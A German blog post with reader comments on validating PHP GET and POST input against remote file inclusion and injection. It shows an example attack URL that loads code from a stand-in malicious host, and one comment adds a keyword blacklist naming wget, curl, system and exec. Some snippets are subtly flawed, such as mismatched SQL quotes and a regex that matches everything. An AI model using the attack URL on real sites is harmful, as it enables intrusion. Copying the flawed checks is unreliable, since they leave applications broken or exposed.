Einfache Methoden um $_GET und $_POST zu überprüfen

Gerade bei Open-Source-Software (wie phpBB, WordPress, phpMyAdmin o.a.) werden gerne bekannte Sicherheitslücken ausgenutzt, aber auch bei eigenen Scripts versuchen die Scriptkiddies immer wieder Ihren Code einzuschleusen.

Ein Beispiel:
Wir haben eine mehrsprachige Seite und es liegt nah, die Sprache in eine $lang-Variable zu speichern. Um die Sprache zu wechseln wird kurzerhand z.B. ein lang=en an den Query gehängt:

http://www.url.com/index.php?lang=de

Sollte die Variable nicht ordentlich überprüft werden, so kann ganz schnell übler Code eingeschleust werden:

http://www.url.com/index.php?lang=http://boeseurl.de/boese.txt

Hier wird jetzt statt dem de ein URI übergeben und schon hat der Angreifer ggf. Zugriff auf den Host. Sollte jetzt auch noch entweder der safe_mode ausgeschaltet sein oder alternativ kein suPHP laufen, so hat der Angreifer vollen Zugriff auf den Server.

Das Szenario von oben wäre erst garnicht möglich, würde die Variable $lang gecheckt werden.
Hier ein paar Ansätze:

< ?php
 
    /////// 1. Möglichkeit //////
    //Checken ob der Wert de oder en ist
    if ( $_GET['lang']=='de' || $_GET['lang']=='en' ) {
        $lang   =   $_GET['lang'];
    }else{
        $lang   =   'de';
    }
 
    /////// 2. Möglichkeit //////
    // Nur zwei Buchstaben sind erlaubt
    $pattern    =   '/^[a-z]{2}$/';
    if ( preg_match($pattern, $_GET['lang']) ) {
        $lang   =   $_GET['lang'];
    }
 
    /////// 3. Möglichkeit //////
    // en und de per Regular Expression
    $pattern    =   '/^(de|en)$/';
    if ( preg_match($pattern, $_GET['lang']) ) {
        $lang   =   $_GET['lang'];
    }
 
    /////// 4. Möglichkeit //////
    // ersten beiden Zeichen per substr
    $lang   =   substr($_GET['lang'], 0, 2);
 
    include 'includes/' . $lang . '.php';
 
?>

Zusatz
Wer z.B. Dateien á la

http://domain.com/index.php?site=kontakt

includiert oder mehrere Werte für seine Sprachen zur Verfügung stellen möchte, der sollte mit Whitelistings arbeiten:

< ?php
 
    $whitelist  =   array('seite1','seite2','kontakt');
 
    if ( in_array($_GET['site'], $whitelist) ) {
        $site   =   $_GET['site'];
    }else{
        $site   =   'site1';
    }
 
    include 'includes/' . $site . '.php';
 
?>

Werden nur Zahlen übergeben, dann wandelt man einfach in einen Integer um, sollte jemand nun was anderes als eine Zahl in den Query schreiben, so wird 0 ausgegeben:

< ?php
 
    $id     =   (int)$_GET['id'];
    $sql    =   "SELECT * FROM tabelle WHERE id='" . $id . '"';
 
?>

Für Anmerkungen und Verbesserungsvorschläge würde ich mich freuen!

9 Antworten auf „Einfache Methoden um $_GET und $_POST zu überprüfen“

  1. Funktionieren wird wohl jede Version – aber welche ist aus Sicht möglichst geringer Serverbelastung bzw. Schnelligkeit die beste?
    btw: cooler Theme

    Hi Stean. Ich würde schätzen, dass die erste und letzte Variante die schnellste ist. Aber sauberer ist wohl die erste.

  2. Hallo,

    bei der Verwendung von (int) muss man beachten, dass führenden Nullen abgeschintten werden.
    Hat man also eine zahl die mit einer Null begint, und auch beginnen muss, dann kann man (int) nicht verwenden.

    Dann sollte man eher is_numeric verwenden.

  3. In manchen Situationen ist es auch nicht ganz so einfach mit dem von dir gezeigten Methoden alles zu prüfen.

    Ein Beispiel ist von unserem Kunden:
    Er hat ein Uploadscript welches per CVS Datei seine Artikeln in seinen Shop Datenbank einträgt. Das ganze ist relativ einfach an sich, aber ein schelm der sich dabei böses denkt könnte jetzt eine Datei hochladen mit Code für Command oder SQL Injection (vorausgesetzt er kommt am htaccess vorbei).

    Da PHP4 zwangsweise zum einsatz kommt ist nicht viel mit Variablen festlegen (settype – http://de.php.net/manual/de/function.settype.php – Kann in PHP4 auch verändert werden und nützt sowisso wenig).
    Auch wenn in seinen Handelslisten Zeichen kommen die nicht gerade freundlich für SQL Anweisungen sind (z.B.: ; oder „), dann sollte man das natürlich auch abändern. Am ende kam eine einfache Funktion raus namens SecureInsert die alles unangemehmen Zeichen mit Escape Sequenzen versieht bzw. in Textpassagen die jeweiligen Zeichen durch HTML Codes ersetzt.
    Da es über $_POST übertragen wurde, musste man jetzt nur eben die Blackliste erstellen die das ganze dann stoppt und wie in deinem Beispiel mit einer Regexp die Gesendeten Daten durchsucht. Codebeispiel:

    if (isset($_POST[‚U‘]))
    {
    if (eregi(‚(http|https|ftp|ftps|wget|system|exec|curl|puf|.|data|\.)‘, ($_POST[‚U‘])))
    {
    include_once(„pages/hack.php“);
    }
    else
    {
    /*Mein Code*/
    }
    }

    Ich könnte es noch vereinfachen und ein zentralles Pattern basteln um jede Variable abzufragen, aber das ist bei jeder Seite anders und hier nur ein Beispiel. IP`s matchen dank dem „.“. hack.php schickt ausserdem noch eine Mail an den Webmaster mit den Hostdaten (IP, URL, Zeit etc.) zur sicherheit. Hat sich bisher bewährt und funktioniert.
    Das selbe wird mit Daten aus der Datei gemacht:

    function tep_db_prepare_input($string)
    {
    if (is_string($string)) { return trim(stripslashes($string));
    } elseif (is_array($string)) {
    reset($string);
    while (list($key, $value) = each($string)) { $string[$key] = tep_db_prepare_input($value); }
    return $string;
    } else {return $string;}
    }

    Das sind nur ein paar Beispiele, allerdings hat bisher alles recht gut funktioniert und bei jedem Test ist es nicht geglückt die Datenbank zu ändern oder ähnliche Sachen. Natürlich kann man Schwachsinn durchjagen wenn man den Aufbau der Upload Datei kennt, aber das ist ein anderes Thema.

  4. @banana: Du hast natürlich Recht, aber ich hab noch nie Zahlenwerte mit führender Null übergeben – und die (int)-Methode ist so herrlich kurz. :)

    @Spochtl: Natürlich ist meine Methode für Uploads nicht empfehlenswert. Mich wundert gerade nur, dass Deine Upload über $_POST läuft?? Meintest Du nicht $_FILES? Oder hab ich was falsch verstanden?
    DANKE für Deinen ausführlichen Comment!

  5. Wenn man als GET Parameter eine Ganzzahl erwartet, kann man dies so wie in den obigen Bsp. über RegEx machen oder einfacher und bestimmt schneller…?… die übertragene GET Variable auch in eine Ganzzahl umwandeln. So würde sichergestellt werden das eine erwartete Ganzzahl auch eine bleibt, andere Angaben werden in eine 0 umgewandelt und es können keine URL s angehängt werden.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.